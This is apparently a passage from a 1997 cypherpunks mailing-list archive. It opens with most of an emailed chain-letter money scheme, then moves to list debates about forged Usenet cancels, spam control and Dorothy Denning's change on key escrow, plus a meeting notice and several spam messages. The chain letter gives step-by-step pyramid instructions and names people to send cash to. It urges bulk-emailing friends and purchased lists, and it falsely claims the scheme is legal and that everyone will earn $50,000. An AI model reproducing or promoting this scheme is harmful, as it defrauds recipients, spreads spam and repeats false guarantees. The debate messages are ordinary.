Order all 4 Reports listed by name and number. Do this by ordering the Report
from each of the four (4) names listed below. 
For each Report you will need to send $5 US dollars CASH and a self addressed
stamped envelope (BUSINESS SIZE #10)to the person listed for the SPECIFIC 
REPORT.
International orders: should include an extra $1 US dollar for postage. 
IT IS ESSENTIAL- That you specify the full NAME and NUMBER of the REPORT 
requested to the person you are ordering from.
You will need ALL 4 REPORTS because you will be  REPRINTING and RESELLING 
them.
DO NOT alter the names or sequence other than what the instruction say.
IMPORTANT: ALWAYS provide "SAME DAY" service on all return orders.

REQUIRED REPORTS

*** Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED STAMPED ENVELOPE AND $5 DOLLARS cash FOR EACH 
ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER

======================================================

REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 

SEND $5.00 CASH AND A SELF ADDRESSED ENVELOPE

TO:

MCE Marketing
P.O. BOX 0647
Folsom , Ca.
95763-0647

======================================================

REPORT#2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT#2 

SEND $5.00 CASH AND SEND  SELF ADDRESSED ENVELOPE 

TO: E. E. KAMPER
10501NW 66TH ST
PARKLAND, FL
33076

======================================================

REPORT#3
"SOURCES OF THE BEST EMAILING LISTS"
ORDER REPORT#3

SEND $5.00 CASH AND A SELF ADDRESSED STAMPED ENVELOPE

TO:
R.M. MILLS
5030 CHAMPION BLVD.
SUITE #6-441
BOCA RATON, FL 
33496	v

======================================================

REPORT#4
"EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT#4 

SEND $5.00 CASH AND A SELF ADDRESSED STAMPED ENVELOPE

TO:

E.H. HARP
10693 WILES RD.
SUITE 303 CORAL SPRINGS, FL
33076

======================================================
VERY IMPORTANT !!!!!!!!!!!!!!!!!!!!!
INSTRUCTIONS WHICH MUST BE FOLLOWED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

DO THE FOLLOWING NUMBERED STEPS ONLY AFTER RECEIVING  ALL (4) REPORTS FROM 
THE ABOVE LISTED DISTRIBUTORS.

STEP (2)
Replace the name and address under REPORT#1 with yours, moving the name and 
address that was there DOWN to REPORT#2.
Drop the previous name and address under REPORT #2 to REPORT#3
Drop the previous name and address under REPORT #3 to REPORT#4
The name and address that was in the REPORT#4 position is now removed from 
the list and discarded, this party is no doubt on the way to the bank!
WHEN YOU ARE DOING THIS MAKE SURE YOU TAKE SPECIAL CARE IN TYPING ALL NAMES 
AND ADDRESSES CORRECTLY.
DON'T MIX UP THE PROCEDURE/REPORT POSITIONS.

STEP(3)
Having made the required changes to this document save it as a text (*.TXT) 
file  in its own directory to  be used with whatever email program you use.
REPORT #3 will tell you the best bulk emailing methods and how to acquire 
email lists.

STEP (4)
Email a copy of the entire program (all of this is very important) to 
everyone's address that you can get your hands on. If you like start with  
friends and relatives since you can encourage them to  take advantage of 
this  fabulous money-making program. READ the FOUR REPORTS for where to get 
email lists. Search the Internet for the best prices.
IMPORTANT: YOU WONT GET A GOOD RESPONSE WITH AN OLD EMAIL LIST. SO, ALWAYS 
REQUEST A FRESH NEW LIST!!!

ALWAYS PROVIDE "SAME DAY" SERVICE ON ALL ORDERS!!!!!!!
- - - - - - - - - - - - - - - - - - - - - - - - - -
CONCLUSION:

I am enjoying the future that I made by sending out this program, You too 
will be making money in 20 to 90 days, if you follow the simple steps 
outlined in this program.

To be financially independent to be FREE!  Free to make financial decisions 
as never before. Go into business, get into investments retire or take a 
vacation. No longer will the lack of money hold you back.

However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it. Its much easier to say "NO" 
than "YES", and this is the question that you must answer. Will YOU ignore 
this amazing opportunity or will you take full advantage of it? If you do 
nothing you have indeed missed something and nothing will change. Please 
re-read this material this is a special opportunity. If you have any 
questions regarding this program, please feel free to write the sender of 
this information. You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5.00 that
cost me pennies to produce and email. I should also point out that this 
program is legal and everyone who participates WILL make money.

	This is not a chain letter or pyramid scam. You may have received 
chain letters in the past asking you to send money , on faith, but getting 
nothing in return, NO product whatsoever! Not only are chain letters illegal 
but the risk of someone breaking the chain makes them quite unattractive.

	You are offering a legitimate product to your down line distributors.
 After they purchase from you they reproduce it and sell it to others. Its 
simply free enterprise at its best! As you have learned from the enclosed 
material, the PRODUCT is a series of  4 FINANCIAL AND BUSINESS REPORTS. 

The information contained in these reports will not only help you in making 
your participation in this program more rewarding, but will be useful to you 
in any other business decisions that you make in the years ahead. You are 
also buying the rights to reprint all of the REPORTS, which will be ordered 
from you by those whom you mail this program. The concise one and two page 
REPORTS you will be buying are easily reproduced at a local copier center 
for an average cost of  3 cents a copy. Best wishes with the program and 
good luck!
- - - - - - - - - - - - - - - - - - - - - - - - - - - 
"IT WAS TRULY AMAZING"

Not being the gambling type. It took me several weeks to make up my mind to 
participate in this program. But Conservative as I am, I decided that initial
investment was so little that there was no way that I could NOT get enough 
orders to get my small investment back. BOY, was I ever surprised when I 
found my medium sized post office box crammed with orders. I will make more 
money this year than I have in the past 10 years of my life, before I  
started this program.

Mary Riceland, Lansing. MI
- - - - - - - - - - - - - - - - - - - - - - - -
TIPS FOR SUCCESS

Send for your 4 REPORTS immediately so you will have them when the order 
start rolling in. When you receive your $5 dollar order you MUST send out 
the Product/service in order to comply with US Postal and Lottery Laws.
Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR 
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".
- - - - - - - - - - - - - - - - - - - - - - - - 
WHILE YOU WAIT FOR YOUR REPORTS TO ARRIVE:

1. Name your company, File for a fictitious business license at your county 
clerks office (+/- $15.00) if you don't use your name as the companies name.

2. Get a post office box (preferred).

3. Edit the names and address's on the program. You must remember that your 
name or your business name and address goes next to REPORT#1. And all the 
others move DOWN 1, with  the fourth being drooped off the list all together.

4. OBTAIN AS MANY EMAIL ADDRESS AS YOU CAN GET YOUR HANDS ON, Read REPORT 
#3 for information on mailing list companies.

5. Decide on the Number of PROGRAMS you need to send out to meet your 
financial goal. The more you send and the quicker you send them, the more 
money you will make.

6. After mailing the programs get ready to fill the orders.

7. Copy the 4 REPORTS so that you can send them out AS SOON as you receive 
an order.  IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE ON THE ORDERS YOU 
RECEIVE.!

8. Make certain all letters and reports are neat and legible.
- - - - - - - - - - - - - - - - - - - - - - - - -
YOUR GUARANTEE

The check point that GUARANTEES your success is simply this: you must receive
15 to 20 orders for report #1. This is a must. If you don't with in 2 weeks 
email out more programs.

Then a couple of weeks later you should receive 100 or more orders for  
report #2. (Take a deep  breath) you can now sit back and relax , Because 
YOU ARE GOING TO MAKE AT LEAST $50,000!!!!!!, Mathematically it is a proven 
guarantee. Of those who have participated in the program and reached the 
above GUARANTEES-ALL have reached their  $50,000 goal. Also, remember, 
every time that your name is moved down the list  you are in front of a 
different REPORT. You can keep track of your status in the program by which 
REPORT people are ordering from you. IT'S THAT EASY!!!REALLY, IT IS!!!!!!!!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY , MONEY NOW OR SEARCH FOR IT THE REST OF YOUR 
LIFE"
- - - - - - - - - - - - - - - - - - - - - - - - - 
end of program
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
DO NOT INCLUDE THE FOLLOWING INFORMATION IN THE REPLICATION OF THIS PROGRAM!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

"MCE MARKETING" PROUDLY PRESENTS->

MCE MARKETING'S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY!!

As a immediate DOWNLINE DISTRIBUTOR, MCE MARKETING will provide you with 25,000 freshly compiled and targeted email address's and step by step instructions on how implement your distribution. Including Instructions on Pegasus Email download/ installation
 and operation. (YOUR ADDRESS's ARE FORMATTED AS PEGASUS EMAIL DISTRIBUTION LISTS.) You will receive all the information in easy to read and follow instructions on how to participate in this exciting promotion. 


This is an exclusive offer to the first 220 immediate DOWNLINE DISTRIBUTORS who purchase REPORT #1 ""HOW TO MAKE  $250,000 THROUGH MULTI-LEVEL SALES" from MCE MARKETING, for this program offer only.!!!!!!!!!!!!!!!!!!  THAT'S A  5.5 MILLION EMAIL ADDRESS 
PROMOTIONAL GIVE AWAY!!!!!!!!!!!!!!!!

DON'T MISS OUT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

THIS OFFER IS GOOD ONLY AS LONG AS SUPPLIES LAST. MCE WILL  NOT SEND OUT DUPLICATE ADDRESS LISTS AND THIS LIST IS NOT FOR SALE,  AS THIS WOULD DEFEAT THE PURPOSE OF THIS UNIQUE MLM PROMOTION.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Skirvin <tskirvin@math.uiuc.edu>
Date: Thu, 31 Jul 1997 07:04:22 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <19970731090412.58654@math.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> Newsadmins who auto-cancel cross-posts are acting counter-productively
> and censorously.

	I'm not aware of anybody that does that.  The only crossposts that
are killed are those that reach a BI of 20, and for a single post to do
that would require the message to be crossposted to 400 newsgroups.  Which
doesn't happen.

	It might interest you to know that a cancel will kill all the
crossposts in a single message, BTW.  Your "cancelling 99 of the 100
articles thing" does save lots of reader time.  

	(If you're going to talk about cancels authoritatively, please
read my Cancel FAQ - it's got huge piles of information on this stuff.)

				- Tim Skirvin (tskirvin@uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon
Cancel FAQ




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 05:40:22 -0700 (PDT)
To: rbrewer@op.net
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <m3pvrz92rd.fsf_-_@wiz.rob.net>
Message-ID: <199707311120.MAA00669@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



A good post.  Your notice-board analogy was reasonable.

How about this as a stop gap measure: rather than sending cancels for
spams posted to multiple newsgroups, simply modify the distribution.
That is cancel all but one groups worth of articles, and then modify
the Newsgroups line to cross-post to all the groups the article was
originally posted to.

That way you are not as such "cancelling" anything as a net result,
but are just "compressing" your news spool or downstream feed, no
information is lost (other than the information that the poster is
clueless and doesn't know how to cross-post, which is now disguised by
a compression agent trawling through the news spool fixing things up).

Sound reasonable?

If news admins, or others getting involved with issuing forged cancels
are not willing to do this it suggests that they are making judgements
about the content of the posts as well as claiming to want to save
bandwidth.


Another longer term way to improve the situation is to charge some
small token amount per article, just to encourage people to use it
with some intelligence (use cross posts rather than separately
reposting to each group).

It is also entirely possible for people to have 'bots which auto-post
in response to articles matching keywords, or matching authors.
(We've seen a few of these on cypherpunks).

If people want to make a nuisance for others by spewing random garbage
via bots to newsgroups, they could post mega bytes of stuff per day
and swamp the content.  What can you do about this?  Charging a small
amount per post, or per megabyte would provide a small disincentive
for this type of behaviour.  However it would never reflect the true
cost to USENET bandwidth as a whole.

One interesting idea which has been floated on this list in the past
is for authors to have their free posting rate moderated by other
peoples ratings of their posts.

One way to implement this is for other people to pay the author for
their articles a penny if they like the article.  That way people who
write things which others find interesting to read get subsidized
posting.  Is it still free speech if you have to pay for your posts if
you're arguing for an unpopular minority?

Also, this might be an interesting information market model because
technical experts might even find themselves with a well paid job of
answering technical questions in newsgroups.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 31 Jul 1997 12:59:13 -0700 (PDT)
To: m.pool@pharos.com.au
Subject: Re: Entrust Technologies's Solo - free download
Message-ID: <199707311958.MAA25081@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Martin Pool writes:
> Dave Hayes wrote:
> > Sandy Harris writes:
> > > What this scum is actually upset about is Chris Lewis cancelling
> > > spam. He calls that "forgery" because the spammer's name goes
> > > in the sender field of the cancel message. Nonsense.
> > According to RFC 1036 forging cancels for articles that do not
> > originate from your news site is not allowed. He is clearly in
> > violation of the RFCs. Spam jihads are not sufficient reason
> > to ignore internet protocols.
> Spamming is a crime (theft of computer resources) 

I don't know that I can agree with that and still be for freedom.  By
that standard, so is posting or mailing "non spam" articles containing
a topic that the owner of a recipient machine is not interested
in. The magnitude of the theft is not relavent.

> and sometimes such acts may be justifiable self-defense, such as
> when I steal from my employer because they don't pay me enough, or
> when I lie on my income tax forms because I want to keep my money
> for myself.

My point of focus is freedom. Deleting others' messages is not
justifiable for -any- reason, IMO. If you have a problem with what
is sent, you should take it up with the source of the transmission.
The carriers of that transmission cannot care about the content and
still profess to be "free" in any way.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A person was frighteningly ugly. Once he was asked how could he go on
living with such a terrible face. "Why should I be unhappy?", answered
the man. "I never see my own face; let others worry."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 06:05:49 -0700 (PDT)
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <Pine.LNX.3.93.970731185306.693C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Adam Back wrote:

> A good post.  Your notice-board analogy was reasonable.

[...]

> That is cancel all but one groups worth of articles, and then modify
> the Newsgroups line to cross-post to all the groups the article was
> originally posted to.

No that is worce,  it would be forgery of the orginal post.  In addtion it
would violate the usenet requirement to avoid modifing the post.

[...]

> One interesting idea which has been floated on this list in the past
> is for authors to have their free posting rate moderated by other
> peoples ratings of their posts.

No this would mean unpopular (but often neccery) peaple would be forced
off usenet.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
Charset: noconv

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SmISeEEkdL8nsgWu95FJklU/d3Npz1FhdS1ACed1QMKufZjx+t+dfzWXtDTsINtB
lSuzo2tJikI=
=M0p6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 06:15:47 -0700 (PDT)
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free  download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <Pine.LNX.3.93.970731190252.693D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 30 Jul 1997, Ryan Anderson wrote:

> "Make Money Fast" are killed because they're illegal scams in the US and I
> think in most of the world.

No there not.  Nobody should cancel things because there illegle, if
canceled it is because there over 20BI.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+BWVaQK0ynCmdStAQGbhAQAnhePEY1TWMhUMW+y4w/kZKKIDMWmrHw0
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l7tewaCM7AI=
=ax7/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Thu, 31 Jul 1997 21:52:04 -0700 (PDT)
To: you@yourplace.com
Subject: Boost Your Sales With 40 Million New Prospects!
Message-ID: <199702161035.GAA08056@bizproplus.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 78173518@arosnet.se
Date: Thu, 3 Jul 1997 05:12:37 -0700 (PDT)
To: Friend@public.com
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Sun, 6 Jul 1997 05:35:35 -0700 (PDT)
To: buy.golfballs@lower.prices
Subject: golf stuff
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





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on a ball actually gives the ball lift, much like the wing on an
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In a vacuum, the average 250 yard drive would only travel about 180
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ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back an 
email with remove as the subject.  I will not mail to you again.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: toner98@hotmail.com
Date: Sat, 6 Dec 1997 20:36:40 -0800 (PST)
To: Friend@public.com
Subject: TONER
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





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           IBM/LEXMARK SERIES 4019,4029,4039,4049,OPTRA
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.xanadu.com>
Date: Fri, 11 Jul 1997 03:59:44 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: MEETING: July SF Bay Area Meeting Saturday at Stanford
Message-ID: <199707111057.DAA05815@ecotone.xanadu.com>
MIME-Version: 1.0
Content-Type: text/plain



What:		San Francisco Bay Aera Cypherpunks Phyical Meeting
Where:		Under the Oak Tree at Tressider Union, Stanford University
When:		Saturday July 12th, 1997

Agenda:
		HIP'97 Planing, Dave Del Torto
		Freeh's Statement before Congress, Group
		ECash update, Jeremey Barrett
		PGP Library 5 & PGP/MIME Updates, Dave Del Torto
		FreeS/WAN dryrun, Hugh Daniel
		What ever else comes to mind...

  We will be meeting under the Oak Tree that is inside the "U" shape
of Tresidder Union, the weather report looks good.  Bring your
Ricochet...
  Tresidder Union is a little (peninsula) west of the Stanford main
Quad, there is a parking lot just p-west of of the Union that you can
park in on weekends.  The best automotive access is from the west via
Junipero Serra Blvd. (also somtimes called Foothill Expressway, Santa
Cruz Ave & Alameda De Las Pulgus) into the 'back' of the Stanford
Campus, look it up on a map folks.  For some semi-useful maps try:
http://www.stanford.edu/home/visitors/maps.html
or for a zoomed in view to the right section of campus:
http://www.stanford.edu/home/map/stanford_zoom_map.html?209,284




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 46781220@20384.com
Date: Mon, 14 Jul 1997 23:48:39 -0700 (PDT)
To: mktng@powerup-ss.com
Subject: IMMEDIATE CASH
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend,

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NOTE: THIS IS THE ONLY MESSAGE YOU WILL RECEIVE FROM US. YOUR
NAME IS AUTOMATICALLY DELETED FROM OUR LIST UPON TRANSMISSION.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:46:48 +0800
To: cypherpunks@toad.com
Subject: Dorothy Denning changes Escrow position
Message-ID: <3.0.2.32.19970801003421.007786bc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



There was an article in today's San Jose Mercury News that
Dorothy Denning, the leading academic supporter of the Administration's
anti-crypto stance, has backed off from that position.
She's put out a paper along with William Baugh of SAIC (!) which 
among other things includes a survey of law enforcement officers
on how much they've encountered crypto and how much difference it's made,
and the answer has been that it hasn't made much difference --
of the few criminals who use crypto, some use wimpy algorithms,
some are careless with their password handling, some get fingered by
stool pigeons, and some mainly use their crypto for information
not relevant to the case they're being investigated for.
She's now taking a much less certain, more neutral position.
Way to go, Dorothy!

It's especially important because Dr. Denning was the main independent
supporter of encryption limitations, and has a lot of reputation invested
in it, so changing her position is a big step.  The FBI has a vested
interest - without Communists to chase around, Director Freeh is off 
chasing drug dealers in the name of "national security".  And the 
industrial support for key escrow has primarily been from companies that 
get to export their products in return for adding it, though there have 
been a few firms like TIS that have developed it for its own sake.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 1 Aug 1997 13:58:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
In-Reply-To: <199708010531.HAA23603@basement.replay.com>
Message-ID: <3.0.2.32.19970801014939.006cc110@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:31 AM 8/1/97 +0200, Anonymous wrote:
>
>  As a matter of fact, the mere thought of this happening has caused
>Attila to go into a state of "brain-lock" wherein he sits at his
>keyboard, sending the same message, over and over again, to the list.
>  It will be interesting to see what happens to Attila's brain if
>Clinton ever vetos a bill because it subverts the Constitution.


FWIW, all of Atilla's messages have the same exact time, i.e., Thu, 31 Jul 97
23:34:37 or 11:34 P.M.  Looks more like a server with a bad case of the
hiccups....

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Version: 4.5

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WRVNNsbNiZdLSYq/0d1b7/UrPQ38I3eVqgqG/oWLGSAOTndTMg0PaYDGYhbkq9u9
0aStoKW05mK1q8ZnG2+88Psz+E5nwitbiu8qj/68wenxNCPZ4ESLss1lXm4Iuk9I
tqpXatuWF5U=
=3gNj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 04:48:55 +0800
Subject: RE: Entrust Technologies's Solo - free download
In-Reply-To: <199707311816.NAA21627@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970801022955.108B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, William H. Geiger III wrote:

[...]

> Now, myself would require more information as to Chris Lewis' envolvement
> with Nortel & their security products before I would be willing to come to
> the same conclution that Dimitri has.

IIRC he is in charge of network securaty at Nortel.  But I dout that he
is involved in R&D.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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/Zv5UIpy/t62Er0GaYRicZoCLF7XrndGqB0BWynsYCe/WMABCjk0gJ0iGJspmokP
W6FopPIf2OWXNk7EgrlFWxdEga2DMBE+JCq6zrFloi7iK3UDJPsM+l7RRbuRbo+C
xu3P0E2v3B4=
=DjUk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 1 Aug 1997 15:55:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311754.MAA21360@mailhub.amaranth.com>
Message-ID: <v03007800b0072e77c017@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	Tim May <tcmay@got.net> rejected reports of D. Denning's change of
heart:

>And her "second thoughts" on GAK were not based on a principled repudiation
>of the concept of "escrowing" keys, or on Constitutional grounds,  but only
>on the grounds that her study did not show that many criminal cases were
>much affected by the lack of key escrow.
>
>So what if they had?
>
>(Insert usual arguments here about how many consitutionally-protected
>rights affect criminal investigations, but that this is no reason to ban
>window shades, locks on doors, whispering, etc.)
>
>Denning and her allies can always support GAK in the future, when "new
>studies indicate that law enforcement is being severely hampered by the
>growing menace of unbreakable cryptography."
>
>I never trust utilitarian arguments on things of this importance.

	To note the obvious, the Constitutional argument cuts both ways,
with warranted access to "private papers," versus the Founding Fathers'
proto-privacy and their rude distrust of federal power.  (It's kind of like
the abortion debate, where the premise you start off with almost dictates
which conclusion you arrive at, many steps later.)  Denning's pragmatic,
utilitarian, arguments are useful, but I suggest they mask a deeper shift
of primacy among competing principles.

	Utilitarian arguments are historically (even in C'punks;-) used to
defend a pre-defined philosophical position.  (And anyone who thinks that
it would have been hard to tilt the Denning/Baugh study with reports of
crypto use by drug cartels and distributors, even within the US, is just
out of touch.)

	Of course, crypto has (and will in the future) muck up criminal
investigations!

	On the evidence her comments over the past four months, I think it
is clear Prof. Denning has had some profound second thoughts about ultimate
cultural values and the balance of power between the state and the
individual.   (Make your appointment, Declan! When Dorothy is ready to talk
about this, it will be _very_ interesting.)  Denning, like many on the
other side, is smart & idealistic.  This study and other recent statements
have her overtly balking at being herded along the pro-GAK path... at the
very time the US LEA chiefs are twisting every arm they can to demonize
free access to strong crypto.  That proves her to be thoughtful as well.
Not many standard-bearers cross from one side to the other in this debate.

	Dennings refusal to offer rote support for the LEAs now is itself a
major event in this debate, with significant implications in Congress.

	For players who operate at the level Denning has worked, I have a
gut sense that the international issues -- the multi-cultural,
multi-national, Merchantile side of the debate -- are often much more
important than they have been in the Stateside discussion, such as it is.

	Restructuring world commerce around "licenses" from various
national spy organizations is a disconcerting prospect for many, with
widely-varied political identities.  Also, Denning's middle-class trust in
American government agencies doesn't have a direct parallel in European
political culture -- and once people notice that, the contrasting views of
the state are often disconcerting.

	(Most countries, even in Europe, vividly recall foreign occupation
-- which gives a notable tweak to presumptions of bureaucratic Virtue.)

	Dorothy Denning will never march under a Libertarian flag, but
neither will I. There are other banners which are on the same side of the
barricades, guys.  No need to shoot all your allies until after the
Revolution.  And, if we win it together, you may need a consensus before
anyone shoots anyone, AP notwithstanding;-)

	Suerte,
		_Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 1 Aug 1997 16:52:35 +0800
To: cypherpunks@Algebra.COM
Subject: Self-imposed censorship
Message-ID: <19970801044418.63467@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain



>There are a great many ironies here, but the greatest
>irony is that the censorship will be self-imposed --
>we're doing it for the sake of family, parents,
>children.

"Arresting Katherine was the government's way of taping our mouths
shut. Yet they had to realize that beating heads was the last way to
tame minds. Benevolence was always the first choice of rule for our
ancient emperors. The goal was to make people obey with their hearts
instead of with their mouths."
 -_Katherine_, by Anchee Min

"Ye have locked yerselves up in cages of fear - and behold, do ye
now complain that ye lack FREEDOM!"
 - _Principia Discordia_

It is not enough to fear Big Brother. You must love him.

--
"There's no way the federal government could oppress the citizens, because
the populace is armed to the teeth, and the officials would just get their
heads blown off."
 - James Madison argues the pro-government position, Federalist Papers #46





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 14:29:36 +0800
To: Toto <cypherpunks@cyberpass.net>
Subject: OverRun Msgs Re: Denning questions/reverses her position?
Message-ID: <199708010622.AAA19605@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970731:2245 it was expostulated:

+::
+Anon-To: cypherpunks@toad.com

+Attila T. Hun wrote: 
+>     I'm too old for this!  I never thought I would see the day that
+>     Dorothy Denning would terminate her star role as a shill for the
+>     Clinton/LEA encryption ban!

+  As a matter of fact, the mere thought of this happening has caused
+Attila to go into a state of "brain-lock" wherein he sits at his
+keyboard, sending the same message, over and over again, to the list.
+  It will be interesting to see what happens to Attila's brain if
+Clinton ever vetos a bill because it subverts the Constitution.

+  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
+Weather Network reports that Hell froze over shortly before Denning's
+new position statement.

+TruthMonger

    dunno why the message was repeated at cyberpass --each of the 55
    copies I received as of 20 minutes ago has exactly the same header
    date from cyberpass.  that and one of them smoked the primary
    mailbox with a couple hundred null characters.  hun.attila.org
    was offline so it could not have generated the extra messages --so
    where did they loop?  only the shadow knows. If it is something
    by remote SMPT added on, I apologize for the inconvenience.

    the image of my brain in "brain-lock" is apt enough for the reaction;
    as for the flying pig and Hell freezes over --that too. Denning is
    still Denning, and maybe she's just angling for more shill money 
    before she gets back on the track.

    yes, if Clinton ever vetos a bill just because it violats the 
    Constitution, I probably would be gone....

 ______________________________________________________________________
